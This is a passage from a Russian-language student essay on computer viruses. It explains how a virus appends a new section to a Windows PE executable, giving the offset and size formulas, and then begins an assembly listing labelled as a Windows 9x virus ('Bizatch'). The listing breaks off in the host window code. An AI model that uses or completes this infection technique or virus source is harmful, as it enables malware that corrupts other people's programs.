Главная    Почта    Новости    Каталог    Одноклассники    Погода    Работа    Игры     Рефераты     Карты
  
по Казнету new!
по каталогу
в рефератах

Компьютерные вирусы

nbsp;полем
«flags». Итак, для определения  смещения  таблицы  объектов  нужно  получить
NТheadersize и добавить размер поля флагов (24).
    Добавление объекта: получив количество объектов,  умножить  его  на  40
(размер элемента таблицы объектов). Таким образом определяется смещение,  по
которому будет расположен вирус.
    Данные  для  элемента  таблицы  объектов  должны   быть   вычислены   с
использованием информации в предыдущем элементе (элементе носителя).
 
    RVA=((prev RVA+ prev Virtual Size)/OBJ Alignment+1)
    *OBJ Alignment
    Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
    *OBJ Alignment
    Physical Size=(size of virus/File Alignment+1)*File Alignment
    Physical Offset=prev Physical Offset+prev Physical Size
    Object Flags=db 40h,0,0,C0h
    Entrypoint RVA=RVA
 
    Теперь необходимо увеличить на единицу  поле  «количество  объектов»  и
записать  код  вируса  по  вычисленному  «физическому  смещению»  в  размере
физического размера байт.
                        Пример вируса под Windows 9x.
 
.386
locals
jumps
.model flat,STDCALL
include win32.inc      ;некоторые 32-битные константы и структуры
L equ 
                        ;Определим внешние функции, к которым будет
подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess:PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn InvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadIconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC
 
        ;Для поддержки Unicode Win32 интерпретирует некоторые функции
        ;для ANSI или расширенного набора символов.
        ;В качестве примера рассмотрим ANSI
 
CreateWindowEx equ 
 DefWindowProc equ 
 DispatchMessage equ 
 FindWindow equ 
 GetMessage equ 
 GetModuleHandle equ 
 LoadCursor equ 
 LoadIcon equ 
 MessageBox equ 
 RegisterClass equ 
 TextOut equ 
 
.data
newhwnd     dd 0
lppaint PAINTSTRUCT 
 msg MSGSTRUCT 
 wc WNDCLASS 
 mbx_count   dd 0
hInst       dd 0
szTitleName db "Bizatch by Quantum / VLAD activated"
zero        db 0
szAlternate db "more than once",0
szClassName db "ASMCLASS32",0
                        ;Сообщение выводимое в окне
szPaint db "Left button pressed:"
s_num   db "00000000h times.",0
 
                        ;Размер сообщения
MSG_L EQU ($-offset szPaint)-1
.code
                        ;Сюда  обычно передается управление от загрузчика.
start:
                        ;Получим HMODULE
push L 0
call GetModuleHandle
mov  [hInst],eax
push L 0
push offset szClassName
call FindWindow
or   eax,eax
jz   reg_class
                         ;Пространство для модификации строки заголовка
mov [zero]," "
reg_class:
                         ;Инициализируем структуру WndClass
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
mov [wc.clsLpfnWndProc],offset WndProc
mov [wc.clsCbClsExtra],0
mov [wc.clsCbWndExtra],0
mov eax,[hInst]
mov [wc.clsHInstance],eax
                         ;Загружаем значок
push L IDI_APPLICATION
push L 0
call LoadIcon
mov  [wc.clsHIcon],eax
                         ;Загружаем курсор
push L IDC_ARROW
push L 0
call LoadCursor
mov  [wc.clsHCursor],eax
                         ;Инициализируем оставшиеся поля структуры WndClass
mov [wc.clsHbrBackground],COLOR_WINDOW+1
mov dword ptr [wc.clsLpszMenuName],0
mov dword ptr [wc.clsLpszClassName],offset szClassName
               ;Регистрирем класс окна
push offset wc
call RegisterClass
                                  ;Создаем окно
push L 0                         ;lpParam
push [hInst]                     ;hInstance
push L 0                         ;Меню
push L 0                         ;hwnd родительского окна
push L CW_USEDEFAULT             ;Высота
push L CW_USEDEFAULT             ;Длина
push L CW_USEDEFAULT             ;Y
push L CW_USEDEFAULT             ;X
push L WS_OVERLAPEEDWINDOW       ;Style
push offset szTitleName          ;Title Style
push offset szClassName          ;Class Name
push L 0                         ;extra style
call CreateWindowEx
                                  ;Сохраняем HWND
mov [newhwnd],eax
                                  ;Отображаем окно на экране
push L SW_SHOWNORMAL
Пред.678910След.
скачать работу

Компьютерные вирусы

 

Отправка СМС бесплатно

На правах рекламы


ZERO.kz
 
Модератор сайта RESURS.KZ